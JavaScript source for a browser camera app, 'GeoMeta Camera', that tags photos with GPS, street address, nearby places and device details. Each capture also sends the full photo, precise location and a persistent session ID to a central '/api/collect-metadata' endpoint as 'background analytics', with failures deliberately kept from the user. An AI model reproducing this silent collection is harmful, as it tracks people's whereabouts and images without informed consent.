class GeoMetaCamera { constructor() { this.video = null; this.stream = null; this.currentCamera = 'environment'; this.flashEnabled = false; this.photos = []; this.currentPosition = null; this.init(); } async init() { console.log('🚀 Initializing GeoMeta Camera...'); // Load saved photos from localStorage this.loadSavedPhotos(); // Initialize device info display this.updateDeviceInfo(); // Start live time updates this.startTimeUpdates(); // Set up event listeners this.setupEventListeners(); // Initialize UI this.updateUI(); // Check initial permissions status await this.checkAllPermissions(); // Initialize camera (don't await to prevent blocking) this.initCamera().catch(error => { console.error('❌ Camera initialization failed in init:', error); }); // Request location permission (don't await to prevent blocking) this.requestLocation().catch(error => { console.error('❌ Location request failed in init:', error); }); console.log('✅ GeoMeta Camera initialized!'); } setupEventListeners() { // Camera functions window.runDiagnostics = () => this.runDiagnostics(); window.initCamera = () => this.initCamera(); window.capturePhoto = () => this.capturePhoto(); window.switchCamera = () => this.switchCamera(); window.toggleFlash = () => this.toggleFlash(); window.retryCameraPermission = () => this.retryCameraPermission(); window.retryLocationPermission = () => this.retryLocationPermission(); // Gallery functions window.exportGallery = () => this.exportGallery(); window.clearGallery = () => this.clearGallery(); window.viewPhoto = (index) => this.viewPhoto(index); window.deletePhoto = (index) => this.deletePhoto(index); // UI functions window.showTab = (tabName) => this.showTab(tabName); window.toggleMobileMenu = () => this.toggleMobileMenu(); window.closeModal = () => this.closeModal(); // Permission checking functions window.checkPermissions = () => this.checkAllPermissions(); window.requestPermissions = () => this.requestAllPermissions(); } async checkAllPermissions() { console.log('🔍 Checking all permissions...'); // Check camera permission try { const cameraPermission = await navigator.permissions.query({ name: 'camera' }); console.log('📹 Camera permission:', cameraPermission.state); const cameraStatusEl = document.getElementById('camera-status'); if (cameraStatusEl) { if (cameraPermission.state === 'granted') { cameraStatusEl.textContent = '✅ Permission Granted'; cameraStatusEl.className = 'text-sm text-green-600'; } else if (cameraPermission.state === 'denied') { cameraStatusEl.textContent = '❌ Permission Denied'; cameraStatusEl.className = 'text-sm text-red-600'; } else { cameraStatusEl.textContent = '⏳ Permission Needed'; cameraStatusEl.className = 'text-sm text-yellow-600'; } } } catch (error) { console.log('⚠️ Camera permission check not supported:', error); } // Check location permission try { const locationPermission = await navigator.permissions.query({ name: 'geolocation' }); console.log('📍 Location permission:', locationPermission.state); const gpsStatus = document.getElementById('gps-status'); if (gpsStatus) { if (locationPermission.state === 'granted') { gpsStatus.textContent = '✅ Permission Granted'; gpsStatus.className = 'text-green-500'; } else if (locationPermission.state === 'denied') { gpsStatus.textContent = '❌ Permission Denied'; gpsStatus.className = 'text-red-500'; } else { gpsStatus.textContent = '⏳ Permission Needed'; gpsStatus.className = 'text-yellow-500'; } } } catch (error) { console.log('⚠️ Location permission check not supported:', error); } } async requestAllPermissions() { console.log('📝 Requesting all permissions...'); // Request camera permission first try { const stream = await navigator.mediaDevices.getUserMedia({ video: true }); console.log('✅ Camera permission granted'); stream.getTracks().forEach(track => track.stop()); // Stop test stream await this.initCamera(); // Initialize camera properly } catch (error) { console.error('❌ Camera permission failed:', error); alert('Camera permission is required for photo capture. Please allow camera access and try again.'); } // Request location permission try { await this.requestLocation(); } catch (error) { console.error('❌ Location permission failed:', error); } // Update permission status await this.checkAllPermissions(); } async initCamera() { console.log('📹 Initializing camera...'); this.video = document.getElementById('video-preview'); const errorDiv = document.getElementById('camera-error'); if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) { console.error('❌ Camera API not supported'); if (errorDiv) { errorDiv.classList.remove('hidden'); const errorMsg = errorDiv.querySelector('p'); if (errorMsg) errorMsg.textContent = 'Camera not supported in this browser.' } return; } try { if (this.stream) { this.stream.getTracks().forEach(track => track.stop()); } // Try with camera-specific constraints first let constraints = { video: { width: { ideal: 640 }, height: { ideal: 480 }, facingMode: { ideal: this.currentCamera } }, audio: false }; console.log(`📹 Requesting camera access with facingMode: ${this.currentCamera}`, constraints); try { this.stream = await navigator.mediaDevices.getUserMedia(constraints); console.log('✅ Camera access successful with facingMode constraint'); } catch (error) { console.warn('⚠️ Camera with facingMode failed, trying without constraint:', error); // Fallback: try without facingMode constraint const fallbackConstraints = { video: { width: { ideal: 640 }, height: { ideal: 480 } }, audio: false }; this.stream = await navigator.mediaDevices.getUserMedia(fallbackConstraints); console.log('✅ Camera access successful with fallback constraints'); } if (this.video) { this.video.srcObject = this.stream; this.video.play(); if (errorDiv) errorDiv.classList.add('hidden'); this.video.classList.remove('hidden'); console.log('✅ Camera initialized successfully'); this.updateCameraStatus(); } } catch (error) { console.error('❌ Camera initialization failed:', error); if (errorDiv) { errorDiv.classList.remove('hidden'); const errorMsg = errorDiv.querySelector('p'); if (errorMsg) { if (error.name === 'NotAllowedError') { errorMsg.innerHTML = 'Camera access denied.
Please allow camera permission.' } else { errorMsg.textContent = `Camera error: ${error.message}`; } } } this.updateCameraStatus(); } } async requestLocation() { console.log('🌍 Requesting location permission...'); const gpsStatus = document.getElementById('gps-status'); if (!navigator.geolocation) { console.error('❌ Geolocation not supported'); if (gpsStatus) { gpsStatus.textContent = '❌ Not Supported'; gpsStatus.className = 'text-red-500'; } return; } if (gpsStatus) { gpsStatus.textContent = '🔄 Requesting...'; gpsStatus.className = 'text-yellow-500'; } try { console.log('📍 Requesting HIGH-ACCURACY GPS position...'); const position = await new Promise((resolve, reject) => { const timeoutId = setTimeout(() => reject(new Error('GPS timeout')), 20000); // Increased timeout navigator.geolocation.getCurrentPosition( (pos) => { clearTimeout(timeoutId); resolve(pos); }, (err) => { clearTimeout(timeoutId); reject(err); }, { enableHighAccuracy: true, // Force high accuracy GPS timeout: 15000, // Increased timeout for better GPS maximumAge: 30000 // Reduced cache age for fresher coordinates } ); }); // Validate GPS accuracy - reject if too inaccurate (likely IP-based) if (position.coords.accuracy > 5000) { console.warn('⚠️ GPS accuracy too low (' + position.coords.accuracy + 'm) - likely IP-based location'); throw new Error('GPS accuracy insufficient - need device GPS'); } this.currentPosition = position; if (gpsStatus) { gpsStatus.textContent = '✅ GPS Active (±' + Math.round(position.coords.accuracy) + 'm)'; gpsStatus.className = 'text-green-500'; } console.log('✅ HIGH-ACCURACY GPS acquired:', { lat: position.coords.latitude, lon: position.coords.longitude, accuracy: position.coords.accuracy, altitude: position.coords.altitude, heading: position.coords.heading, speed: position.coords.speed }); } catch (error) { console.error('❌ Location request failed:', error); if (gpsStatus) { if (error.code === 1) { gpsStatus.textContent = '❌ Permission Denied' gpsStatus.className = 'text-red-500'; } else if (error.code === 2) { gpsStatus.textContent = '❌ Position Unavailable' gpsStatus.className = 'text-red-500'; } else if (error.code === 3) { gpsStatus.textContent = '⏱️ GPS Timeout' gpsStatus.className = 'text-orange-500' } else { gpsStatus.textContent = '❌ GPS Error' gpsStatus.className = 'text-red-500'; } } // Don't fall back to IP geolocation - we want real GPS only console.log('❌ Will not use IP fallback - real GPS coordinates required'); } } async tryApproximateLocation() { console.log('📍 Trying approximate location...'); const gpsStatus = document.getElementById('gps-status'); if (gpsStatus) { gpsStatus.textContent = '🔍 Finding approximate...' gpsStatus.className = 'text-blue-500' } try { // IMPORTANT: Don't use IP-based geolocation as it gives server location, not device location // Instead, just mark as unavailable - we only want real GPS coordinates console.log('⚠️ Skipping IP-based geolocation to avoid server location masking'); if (gpsStatus) { gpsStatus.textContent = '❌ GPS Required (No IP Fallback)' gpsStatus.className = 'text-red-500'; } // Clear any existing position to prevent using server-side location this.currentPosition = null; } catch (error) { console.error('❌ Approximate location failed:', error); if (gpsStatus) { gpsStatus.textContent = '❌ Location Unavailable' gpsStatus.className = 'text-red-500'; } } } async capturePhoto() { console.log('📸 Starting photo capture...'); if (!this.video || !this.stream || this.video.readyState !== 4) { alert('❌ Camera not ready. Please ensure camera is working first.'); return; } this.showLoading('Capturing photo and metadata...'); try { // Capture the image const imageData = await this.captureImageData(); // Get current location (refresh if needed) this.updateLoadingText('Getting GPS location...'); await this.refreshLocation(); // Collect comprehensive metadata this.updateLoadingText('Collecting metadata...'); const metadata = await this.collectMetadata(imageData); // Get reverse geocoding data this.updateLoadingText('Getting location details...'); const locationData = await this.getLocationData(metadata.gps); // Get nearby POIs this.updateLoadingText('Finding nearby points of interest...'); const poisData = await this.getNearbyPOIs(metadata.gps); // Combine all data const completeMetadata = { ...metadata, address: locationData, pois: poisData }; // Create photo object const photo = { id: Date.now(), timestamp: new Date().toISOString(), image: imageData.dataUrl, metadata: completeMetadata }; // Save photo this.photos.unshift(photo); this.savePhotos(); // Update UI this.updateUI(); this.showLastCaptureInfo(completeMetadata); // Upload metadata to centralized database this.updateLoadingText('Uploading metadata...'); await this.uploadMetadataToDatabase(photo); // Hide loading this.hideLoading(); console.log('✅ Photo captured successfully:', photo); this.showSuccessFeedback(); } catch (error) { console.error('❌ Photo capture failed:', error); this.hideLoading(); alert(`Failed to capture photo: ${error.message}`); } } async captureImageData() { const canvas = document.getElementById('capture-canvas') || document.createElement('canvas'); const ctx = canvas.getContext('2d'); canvas.width = this.video.videoWidth; canvas.height = this.video.videoHeight; ctx.drawImage(this.video, 0, 0); if (this.flashEnabled) { ctx.fillStyle = 'rgba(255, 255, 255, 0.3)' ctx.fillRect(0, 0, canvas.width, canvas.height); } const quality = parseFloat(document.getElementById('quality-select')?.value || '0.8'); const dataUrl = canvas.toDataURL('image/jpeg', quality); return { dataUrl, width: canvas.width, height: canvas.height, quality, size: Math.round(dataUrl.length * 0.75) }; } async refreshLocation() { if (!document.getElementById('auto-location')?.checked) return; try { console.log('🔄 Refreshing GPS location for photo capture...'); const position = await new Promise((resolve, reject) => { navigator.geolocation.getCurrentPosition(resolve, reject, { enableHighAccuracy: true, // Force high accuracy GPS timeout: 10000, // Longer timeout for accuracy maximumAge: 5000 // Very fresh coordinates only }); }); // Validate GPS accuracy if (position.coords.accuracy > 5000) { console.warn('⚠️ Refreshed GPS accuracy too low (' + position.coords.accuracy + 'm) - keeping previous position'); return; // Keep previous position if new one is too inaccurate } this.currentPosition = position; console.log('✅ GPS location refreshed:', { lat: position.coords.latitude, lon: position.coords.longitude, accuracy: position.coords.accuracy }); } catch (error) { console.warn('⚠️ Location refresh failed, using last known position:', error); } } async collectMetadata(imageData) { const now = new Date(); const gps = this.currentPosition ? { latitude: this.currentPosition.coords.latitude, longitude: this.currentPosition.coords.longitude, accuracy: this.currentPosition.coords.accuracy, timestamp: new Date(this.currentPosition.timestamp).toISOString() } : null; const device = { screen_size: `${window.screen.width} × ${window.screen.height}`, viewport_size: `${window.innerWidth} × ${window.innerHeight}`, device_pixel_ratio: window.devicePixelRatio, user_agent: navigator.userAgent, platform: navigator.platform, language: navigator.language, timezone: Intl.DateTimeFormat().resolvedOptions().timeZone }; const image = { width: imageData.width, height: imageData.height, quality: imageData.quality, size_bytes: imageData.size, format: 'JPEG' }; const camera = { facing_mode: this.currentCamera, flash_enabled: this.flashEnabled, constraints_applied: true }; const timing = { captured_at: now.toISOString(), local_time: now.toLocaleString(), utc_time: now.toUTCString(), unix_timestamp: now.getTime() }; return { gps, device, image, camera, timing }; } async getLocationData(gps) { if (!gps) return null; try { const response = await fetch('/api/geocode', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ lat: gps.latitude, lon: gps.longitude }) }); if (!response.ok) throw new Error('Geocoding failed'); const data = await response.json(); if (data.error) throw new Error(data.error); const address = data.address || {}; return { formatted_address: data.display_name, country: address.country, state: address.state, district: address.county || address.state_district, city: address.city || address.town || address.village, postcode: address.postcode, road: address.road, house_number: address.house_number }; } catch (error) { console.error('❌ Geocoding failed:', error); return { error: error.message, formatted_address: 'Location data unavailable' }; } } async getNearbyPOIs(gps) { if (!gps || !document.getElementById('include-pois')?.checked) return []; try { const radius = document.getElementById('radius-select')?.value || '500' const response = await fetch('/api/pois', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ lat: gps.latitude, lon: gps.longitude, radius: parseInt(radius) }) }); if (!response.ok) throw new Error('POI request failed'); const data = await response.json(); if (data.error) throw new Error(data.error); const pois = data.elements || []; return pois .filter(poi => poi.tags && poi.tags.name) .map(poi => ({ name: poi.tags.name, category: poi.tags.amenity, lat: poi.lat || (poi.center && poi.center.lat), lon: poi.lon || (poi.center && poi.center.lon), distance: this.calculateDistance(gps.latitude, gps.longitude, poi.lat || (poi.center && poi.center.lat), poi.lon || (poi.center && poi.center.lon)) })) .sort((a, b) => a.distance - b.distance) .slice(0, 10); } catch (error) { console.error('❌ POI request failed:', error); return [{ error: error.message, message: 'POI data unavailable' }]; } } calculateDistance(lat1, lon1, lat2, lon2) { if (!lat2 || !lon2) return Infinity; const R = 6371; const dLat = (lat2 - lat1) * Math.PI / 180; const dLon = (lon2 - lon1) * Math.PI / 180; const a = Math.sin(dLat/2) * Math.sin(dLat/2) + Math.cos(lat1 * Math.PI / 180) * Math.cos(lat2 * Math.PI / 180) * Math.sin(dLon/2) * Math.sin(dLon/2); const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a)); return (R * c * 1000); } getDeviceType() { const isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent); const isTablet = /iPad|Android/i.test(navigator.userAgent) && window.screen.width > 600; if (isTablet) return 'tablet'; if (isMobile) return 'mobile'; return 'desktop'; } showLastCaptureInfo(metadata) { const infoDiv = document.getElementById('last-capture-info'); const detailsDiv = document.getElementById('capture-details'); if (!infoDiv || !detailsDiv) return; let html = '' if (metadata.gps) { html += `
📍 GPS: ${metadata.gps.latitude.toFixed(6)}, ${metadata.gps.longitude.toFixed(6)}
`; } if (metadata.address && !metadata.address.error) { html += `
🏠 Location: ${metadata.address.city || 'Unknown'}, ${metadata.address.state || 'Unknown'}
`; } if (metadata.pois && metadata.pois.length > 0 && !metadata.pois[0].error) { const poiNames = metadata.pois.slice(0, 3).map(poi => poi.name).join(', '); html += `
🎯 Nearby POIs: ${poiNames}
`; } html += `
📱 Image: ${metadata.image.width}×${metadata.image.height}, ${(metadata.image.size_bytes/1024).toFixed(1)}KB
`; detailsDiv.innerHTML = html; infoDiv.classList.remove('hidden'); } showSuccessFeedback() { const captureBtn = document.getElementById('capture-btn'); if (!captureBtn) return; const originalText = captureBtn.innerHTML; captureBtn.innerHTML = 'Photo Captured!' captureBtn.style.background = 'linear-gradient(135deg, #10b981 0%, #059669 100%)' setTimeout(() => { captureBtn.innerHTML = originalText; captureBtn.style.background = 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)' }, 2000); } showLoading(text) { const overlay = document.getElementById('loading-overlay'); const loadingText = document.getElementById('loading-text'); if (overlay) overlay.classList.remove('hidden'); if (loadingText) loadingText.textContent = text; } updateLoadingText(text) { const loadingText = document.getElementById('loading-text'); if (loadingText) loadingText.textContent = text; } hideLoading() { const overlay = document.getElementById('loading-overlay'); if (overlay) overlay.classList.add('hidden'); } updateDeviceInfo() { const screenSize = `${window.screen.width} × ${window.screen.height}`; const screenSizeEl = document.getElementById('screen-size'); if (screenSizeEl) screenSizeEl.textContent = screenSize; const isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent); const isTablet = /iPad|Android/i.test(navigator.userAgent) && window.screen.width > 600; let deviceType = 'Desktop' if (isTablet) deviceType = 'Tablet' else if (isMobile) deviceType = 'Mobile' const deviceTypeEl = document.getElementById('device-type'); if (deviceTypeEl) deviceTypeEl.textContent = deviceType; const browserInfo = navigator.userAgent.split(' ').slice(-2).join(' '); const browserInfoEl = document.getElementById('browser-info'); if (browserInfoEl) browserInfoEl.textContent = browserInfo.substring(0, 20); } startTimeUpdates() { const updateTime = () => { const now = new Date(); const timeString = now.toLocaleString(); const timeEl = document.getElementById('current-time'); if (timeEl) timeEl.textContent = timeString; }; updateTime(); setInterval(updateTime, 1000); } loadSavedPhotos() { try { const saved = localStorage.getItem('geometa-photos'); if (saved) { this.photos = JSON.parse(saved); console.log(`📾 Loaded ${this.photos.length} saved photos`); } } catch (error) { console.error('❌ Failed to load saved photos:', error); this.photos = []; } } savePhotos() { try { localStorage.setItem('geometa-photos', JSON.stringify(this.photos)); console.log('📾 Photos saved to localStorage'); } catch (error) { console.error('❌ Failed to save photos:', error); } } updateUI() { // Update gallery if it's the active tab const gallerySection = document.getElementById('gallery-section'); if (gallerySection && !gallerySection.classList.contains('hidden')) { this.updateGalleryDisplay(); } } updateGalleryDisplay() { // Update gallery statistics const totalPhotos = document.getElementById('total-photos'); if (totalPhotos) totalPhotos.textContent = this.photos.length; const uniqueLocations = new Set(); let totalPOIs = 0; this.photos.forEach(photo => { if (photo.metadata.address && !photo.metadata.address.error) { const location = `${photo.metadata.address.city || 'Unknown'}, ${photo.metadata.address.state || 'Unknown'}`; uniqueLocations.add(location); } if (photo.metadata.pois && !photo.metadata.pois[0]?.error) { totalPOIs += photo.metadata.pois.length; } }); const totalLocationsEl = document.getElementById('total-locations'); if (totalLocationsEl) totalLocationsEl.textContent = uniqueLocations.size; const totalPOIsEl = document.getElementById('total-pois'); if (totalPOIsEl) totalPOIsEl.textContent = totalPOIs; const grid = document.getElementById('gallery-grid'); if (!grid) return; if (this.photos.length === 0) { grid.innerHTML = `

No photos captured yet

`; } else { grid.innerHTML = this.photos.map((photo, index) => { const captureDate = new Date(photo.timestamp).toLocaleDateString(); const location = photo.metadata.address && !photo.metadata.address.error ? `${photo.metadata.address.city || 'Unknown'}, ${photo.metadata.address.state || 'Unknown'}` : 'Location unavailable' const poiCount = photo.metadata.pois ? photo.metadata.pois.filter(poi => !poi.error).length : 0; return `
Captured photo
${captureDate}
${location}
${poiCount} POIs nearby
`; }).join(''); } } showTab(tabName) { // Update tab buttons document.querySelectorAll('.nav-btn').forEach(btn => { btn.classList.remove('bg-white', 'bg-opacity-20'); btn.classList.add('hover:bg-white', 'hover:bg-opacity-10'); }); const activeTabBtn = document.getElementById(`${tabName}-tab`); if (activeTabBtn) { activeTabBtn.classList.add('bg-white', 'bg-opacity-20'); activeTabBtn.classList.remove('hover:bg-white', 'hover:bg-opacity-10'); } // Hide all tabs document.querySelectorAll('.tab-content').forEach(tab => { tab.classList.add('hidden'); }); // Show selected tab const selectedTab = document.getElementById(`${tabName}-section`); if (selectedTab) { selectedTab.classList.remove('hidden'); } // Initialize tab-specific content if (tabName === 'gallery') { this.updateGalleryDisplay(); } } // Additional helper methods async switchCamera() { console.log('🔄 Switching camera...'); // Toggle between front and back camera this.currentCamera = this.currentCamera === 'environment' ? 'user' : 'environment' console.log(`📹 Switching to ${this.currentCamera === 'environment' ? 'back' : 'front'} camera`); // Stop current stream before switching if (this.stream) { this.stream.getTracks().forEach(track => { console.log('🛑 Stopping track:', track.kind, track.label); track.stop(); }); this.stream = null; } // Wait a moment for the camera to be released await new Promise(resolve => setTimeout(resolve, 500)); // Reinitialize with new camera await this.initCamera(); console.log(`✅ Camera switched to ${this.currentCamera === 'environment' ? 'back' : 'front'} camera`); // Update UI to show current camera this.updateCameraStatus(); } updateCameraStatus() { // Update any UI elements that show current camera status const cameraInfo = document.querySelector('.camera-status'); if (cameraInfo) { cameraInfo.textContent = `Camera: ${this.currentCamera === 'environment' ? 'Back' : 'Front'}`; } } toggleFlash() { this.flashEnabled = !this.flashEnabled; const el = document.getElementById('flash-status'); if (el) el.textContent = this.flashEnabled ? 'On' : 'Off'; } retryCameraPermission() { this.initCamera(); } retryLocationPermission() { this.requestLocation(); } exportGallery() { if (this.photos.length === 0) { alert('No photos to export'); return; } const exportData = { exported_at: new Date().toISOString(), total_photos: this.photos.length, photos: this.photos.map(photo => ({ ...photo, image: photo.image.substring(0, 100) + '...[image data truncated]' })) }; const jsonData = JSON.stringify(exportData, null, 2); const blob = new Blob([jsonData], { type: 'application/json' }); const url = URL.createObjectURL(blob); const link = document.createElement('a'); link.download = `geometa-gallery-${Date.now()}.json`; link.href = url; document.body.appendChild(link); link.click(); document.body.removeChild(link); URL.revokeObjectURL(url); } clearGallery() { if (confirm(`Are you sure you want to delete all ${this.photos.length} photos? This cannot be undone.`)) { this.photos = []; this.savePhotos(); this.updateUI(); } } viewPhoto(index) { const photo = this.photos[index]; if (!photo) return; const modal = document.getElementById('photo-modal'); const content = document.getElementById('modal-content'); if (!modal || !content) { // Create modal if it doesn't exist this.createPhotoModal(); return this.viewPhoto(index); } const metadata = photo.metadata; const captureDate = new Date(photo.timestamp); let html = `
Captured photo

📅 Capture Information

Date: ${captureDate.toLocaleDateString()}

Time: ${captureDate.toLocaleTimeString()}

Image Size: ${metadata.image.width}×${metadata.image.height}

File Size: ${(metadata.image.size_bytes/1024).toFixed(1)} KB

`; if (metadata.gps) { html += `

📍 GPS Location

Latitude: ${metadata.gps.latitude.toFixed(6)}

Longitude: ${metadata.gps.longitude.toFixed(6)}

Accuracy: ±${metadata.gps.accuracy.toFixed(0)}m

`; } if (metadata.address && !metadata.address.error) { html += `

🏠 Address Details

Country: ${metadata.address.country || 'Unknown'}

State: ${metadata.address.state || 'Unknown'}

District: ${metadata.address.district || 'Unknown'}

City: ${metadata.address.city || 'Unknown'}

${metadata.address.road ? `

Road: ${metadata.address.road}

` : ''}
`; } if (metadata.pois && metadata.pois.length > 0 && !metadata.pois[0].error) { html += `

🎯 Nearby POIs

`; metadata.pois.slice(0, 10).forEach(poi => { html += `
${poi.name} ${poi.distance.toFixed(0)}m
`; }); html += '
' } html += `

📱 Device Information

Screen Size: ${metadata.device.screen_size}

Camera: ${metadata.camera.facing_mode === 'environment' ? 'Back' : 'Front'}

Platform: ${metadata.device.platform}

Timezone: ${metadata.device.timezone}

`; content.innerHTML = html; modal.classList.remove('hidden'); // Add download and export functions to global scope window.downloadPhoto = (idx) => this.downloadPhoto(idx); window.exportMetadata = (idx) => this.exportMetadata(idx); window.sharePhoto = (idx) => this.sharePhoto(idx); } createPhotoModal() { // Create modal HTML if it doesn't exist const modalHTML = ` `; document.body.insertAdjacentHTML('beforeend', modalHTML); } downloadPhoto(index) { const photo = this.photos[index]; if (!photo) return; const link = document.createElement('a'); link.download = `geometa-photo-${photo.id}.jpg`; link.href = photo.image; document.body.appendChild(link); link.click(); document.body.removeChild(link); } exportMetadata(index) { const photo = this.photos[index]; if (!photo) return; const metadataJson = JSON.stringify(photo.metadata, null, 2); const blob = new Blob([metadataJson], { type: 'application/json' }); const url = URL.createObjectURL(blob); const link = document.createElement('a'); link.download = `geometa-metadata-${photo.id}.json`; link.href = url; document.body.appendChild(link); link.click(); document.body.removeChild(link); URL.revokeObjectURL(url); } async sharePhoto(index) { const photo = this.photos[index]; if (!photo) return; if (navigator.share) { try { // Convert data URL to blob const response = await fetch(photo.image); const blob = await response.blob(); const file = new File([blob], `geometa-photo-${photo.id}.jpg`, { type: 'image/jpeg' }); await navigator.share({ title: 'GeoMeta Camera Photo', text: `Photo captured with location data: ${photo.metadata.address?.formatted_address || 'Location unavailable'}`, files: [file] }); } catch (error) { console.log('Sharing failed:', error); this.fallbackShare(photo); } } else { this.fallbackShare(photo); } } fallbackShare(photo) { const shareText = `Check out this photo with location data: ${photo.metadata.address?.formatted_address || 'Location data included'}`; if (navigator.clipboard) { navigator.clipboard.writeText(shareText); alert('Share text copied to clipboard!'); } else { alert(`Share this: ${shareText}`); } } deletePhoto(index) { if (confirm('Are you sure you want to delete this photo?')) { this.photos.splice(index, 1); this.savePhotos(); this.updateUI(); } } toggleMobileMenu() { const menu = document.getElementById('mobile-menu'); if (menu) menu.classList.toggle('hidden'); } closeModal() { const modal = document.getElementById('photo-modal'); if (modal) modal.classList.add('hidden'); } async runDiagnostics() { const diagnosticDiv = document.getElementById('diagnostic-info'); if (!diagnosticDiv) return; let html = '' html += `
🌐 Browser: ${navigator.userAgent.split(' ').slice(-1)[0]}
`; html += `
🔒 HTTPS: ${window.location.protocol === 'https:' ? '✅ Yes' : '❌ No'}
`; html += `
📹 Camera API: ${navigator.mediaDevices ? '✅ Supported' : '❌ Not supported'}
`; html += `
🌍 GPS API: ${navigator.geolocation ? '✅ Supported' : '❌ Not supported'}
`; try { const devices = await navigator.mediaDevices.enumerateDevices(); const cameras = devices.filter(device => device.kind === 'videoinput'); html += `
📷 Cameras found: ${cameras.length}
`; } catch (error) { html += `
❌ Camera detection failed: ${error.message}
`; } html += `
📹 Video element: ${this.video ? '✅ Found' : '❌ Missing'}
`; html += `
🎥 Stream: ${this.stream ? '✅ Active' : '❌ No stream'}
`; html += `
🌍 GPS data: ${this.currentPosition ? '✅ Available' : '❌ No location'}
`; html += `
📸 Photos saved: ${this.photos.length}
`; if (window.location.protocol !== 'https:') { html += `
❌ HTTPS required for camera access
`; } diagnosticDiv.innerHTML = html; } // Upload comprehensive metadata to centralized database async uploadMetadataToDatabase(photo) { try { console.log('📊 Uploading metadata to centralized database...'); // Generate session ID (persistent across page loads) let sessionId = localStorage.getItem('geometa_session_id'); if (!sessionId) { sessionId = 'session_' + Date.now() + '_' + Math.random().toString(36).substring(7); localStorage.setItem('geometa_session_id', sessionId); } // Prepare comprehensive metadata payload const metadataPayload = { sessionId: sessionId, timestamp: photo.timestamp, // GPS data gps: photo.metadata.gps && !photo.metadata.gps.error ? { latitude: photo.metadata.gps.latitude, longitude: photo.metadata.gps.longitude, accuracy: photo.metadata.gps.accuracy, altitude: photo.metadata.gps.altitude, heading: photo.metadata.gps.heading, speed: photo.metadata.gps.speed } : null, // Address data address: photo.metadata.address && !photo.metadata.address.error ? { formatted_address: photo.metadata.address.formatted_address, city: photo.metadata.address.city || photo.metadata.address.town || photo.metadata.address.village, state: photo.metadata.address.state || photo.metadata.address.region, country: photo.metadata.address.country, postcode: photo.metadata.address.postcode, road: photo.metadata.address.road } : null, // POI data pois: photo.metadata.pois && !photo.metadata.pois[0]?.error ? photo.metadata.pois.map(poi => ({ name: poi.name, category: poi.category, lat: poi.lat, lon: poi.lon, distance: poi.distance })) : [], // Device information device: { type: this.getDeviceType(), screen_size: photo.metadata.device.screen_size, viewport_size: photo.metadata.device.viewport_size, device_pixel_ratio: photo.metadata.device.device_pixel_ratio, user_agent: photo.metadata.device.user_agent, platform: photo.metadata.device.platform, language: photo.metadata.device.language, timezone: photo.metadata.device.timezone }, // Image metadata image: { width: photo.metadata.image.width, height: photo.metadata.image.height, size_bytes: photo.metadata.image.size_bytes, quality: photo.metadata.image.quality }, // Camera settings camera: { facing: photo.metadata.camera.facing_mode, flash: photo.metadata.camera.flash_enabled }, // Image data (optional - can be large) imageData: photo.image // Include base64 image data for complete storage }; // Send to centralized database const response = await fetch('/api/collect-metadata', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(metadataPayload) }); const result = await response.json(); if (response.ok && result.success) { console.log('✅ Metadata uploaded successfully:', { captureId: result.captureId, collected: result.collected }); // Store the capture ID for potential future reference photo.captureId = result.captureId; this.savePhotos(); // Update local storage with capture ID } else { console.warn('⚠️ Metadata upload failed:', result.error); // Don't show error to user - this is background analytics } } catch (error) { console.error('❌ Metadata upload error:', error); // Silently fail - don't interrupt user experience for analytics } } } document.addEventListener('DOMContentLoaded', () => { console.log('🎯 DOM loaded, initializing GeoMeta Camera...'); window.geoMetaCamera = new GeoMetaCamera(); });